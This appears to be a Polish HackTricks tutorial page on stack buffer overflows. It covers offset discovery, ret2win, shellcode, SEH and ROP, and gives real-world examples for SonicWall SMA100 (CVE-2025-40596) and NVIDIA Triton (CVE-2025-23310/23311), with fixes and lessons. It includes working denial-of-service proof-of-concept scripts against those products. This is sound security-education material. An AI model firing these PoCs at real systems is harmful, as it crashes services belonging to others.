Stack Overflow

Reading time: 9 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest Stack Overflow

stack overflow to podatność, która występuje, gdy program zapisuje na stos więcej danych, niż zostało dla niego przydzielone. Nadmiar tych danych nadpisze sąsiednią przestrzeń pamięci, co prowadzi do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie uruchomienia złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic dla danych wejściowych.

Głównym problemem takiego nadpisania jest to, że zapisany wskaźnik instrukcji (EIP/RIP) oraz zapisany wskaźnik bazowy (EBP/RBP), do którego następuje powrót do poprzedniej funkcji, są przechowywane na stosie. W związku z tym atakujący może je nadpisać i kontrolować przepływ wykonania programu.

Ta podatność zwykle pojawia się, ponieważ funkcja kopiuje na stos więcej bajtów niż ilość zaalokowana dla niej, co pozwala na nadpisanie innych części stosu.

Niektóre powszechne funkcje podatne na to to: strcpy, strcat, sprintf, gets... Również funkcje takie jak fgets, read i memcpy, które przyjmują argument długości, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż zaalokowana.

Na przykład, poniższe funkcje mogą być podatne:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Znajdowanie offsetów Stack Overflows

Najczęstszym sposobem wykrywania stack overflowów jest podanie bardzo dużego wejścia składającego się z A (np. python3 -c 'print("A"*1000)') i oczekiwanie na Segmentation Fault, wskazujący, że próbowano uzyskać dostęp do adresu 0x41414141.

Co więcej, gdy już znajdziesz, że istnieje podatność Stack Overflow, będziesz musiał znaleźć offset umożliwiający overwrite the return address, do tego zwykle używa się De Bruijn sequence. Która dla danego alfabetu o rozmiarze k i podciągów długości n jest cykliczną sekwencją, w której każdy możliwy podciąg długości n pojawia się dokładnie raz jako podciąg spójny.

Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z tych sekwencji, a następnie znaleźć offset bajtów, które ostatecznie go nadpisały.

Do tego można użyć pwntools:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

lub GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Eksploatacja Stack Overflows

Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie overwrite wartości lokalnych zmiennych na stacku aż do zapisanego EBP/RBP and EIP/RIP (or even more).
Najczęstszy sposób nadużycia tego typu podatności to zmodyfikowanie return address, tak aby po zakończeniu funkcji control flow został przekierowany tam, gdzie wskazuje ten wskaźnik.

Jednak w innych scenariuszach samo nadpisanie wartości niektórych zmiennych na stacku może wystarczyć do eksploatu (np. w prostych wyzwaniach CTF).

Ret2win

W tego typu wyzwaniach CTF w binarce znajduje się function, która nigdy nie jest wywoływana, a którą musisz wywołać, żeby wygrać. W tych zadaniach wystarczy znaleźć offset do overwrite return address i adres funkcji do wywołania (zwykle ASLR jest wyłączony), tak aby po powrocie podatnej funkcji została wywołana ukryta funkcja:

Ret2win

Stack Shellcode

W tym scenariuszu atakujący może umieścić shellcode na stacku i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Na 32-bit Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego return address. Eksploatacja zwykle zastępuje SEH pointer gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby pivot back do dużego bufferu, gdzie znajduje się shellcode. Częsty wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby skoczyć setki bajtów wstecz do początku payloadu.

Windows Seh Overflow

ROP & Ret2... techniques

Ta technika to podstawowy framework do obejścia głównej ochrony stosowanej przeciwko poprzedniej metodzie: No executable stack (NX). Pozwala też wykonać wiele innych technik (ret2lib, ret2syscall...), które doprowadzą do wykonania arbitrary commands poprzez wykorzystanie istniejących instrukcji w binarce:

ROP - Return Oriented Programing

Heap Overflows

Overflow nie zawsze występuje na stacku — może też być w heap, na przykład:

Heap Overflow

Types of protections

Istnieje kilka mechanizmów ochronnych próbujących zapobiec exploicie podatności — sprawdź je w:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Dobre pokazanie, dlaczego sscanf nie powinno być nigdy zaufane do parsowania niesprawdzonych danych wejściowych, pojawiło się w 2025 w urządzeniu SonicWall SMA100 SSL-VPN. Wrażliwa rutyna wewnątrz /usr/src/EasyAccess/bin/httpd próbuje wyciągnąć version i endpoint z każdego URI, które zaczyna się od /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Pierwsza konwersja (%2s) bezpiecznie zapisuje dwa bajty do version (np. "v1").
  2. Druga konwersja (%s) nie ma określnika długości, dlatego sscanf będzie kopiować aż do pierwszego bajtu NUL.
  3. Ponieważ endpoint znajduje się na stack i ma długość 0x800 bajtów, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym stack canary i saved return address.

Jednolinijkowy proof-of-concept wystarczy, aby wywołać crash przed uwierzytelnieniem:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:

  • Zawsze podawaj maksymalną szerokość pola (np. %511s).
  • Preferuj bezpieczniejsze alternatywy, takie jak snprintf/strncpy_s.

Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele stack-based overflows dostępnych przez jego HTTP API. Wrażliwy wzorzec pojawiał się wielokrotnie w http_server.cc i sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) zwraca liczbę wewnętrznych segmentów bufora, które tworzą bieżące ciało żądania HTTP.
  2. Każdy segment powoduje zaalokowanie 16-byte evbuffer_iovec na stack za pomocą alloca()bez żadnego górnego ograniczenia.
  3. Poprzez nadużywanie HTTP chunked transfer-encoding, klient może zmusić żądanie do podziału na setki tysięcy 6-byte kawałków ("1\r\nA\r\n"). To powoduje, że n rośnie bez ograniczeń, aż stack zostanie wyczerpany.

Dowód koncepcji (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Żądanie ~3 MB wystarcza, aby nadpisać zapisany adres powrotu i crash demona na domyślnej kompilacji.

Poprawka i środki zaradcze

W wydaniu 25.07 zastąpiono niebezpieczną alokację na stosie opartą na stercie std::vector i poprawnie obsłużono std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Wnioski:

  • Nigdy nie wywołuj alloca() z attacker-controlled sizes.
  • Chunked requests mogą drastycznie zmienić kształt buforów po stronie serwera.
  • Waliduj / ogranicz każdą wartość pochodzącą z client input przed użyciem jej w memory allocations.

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks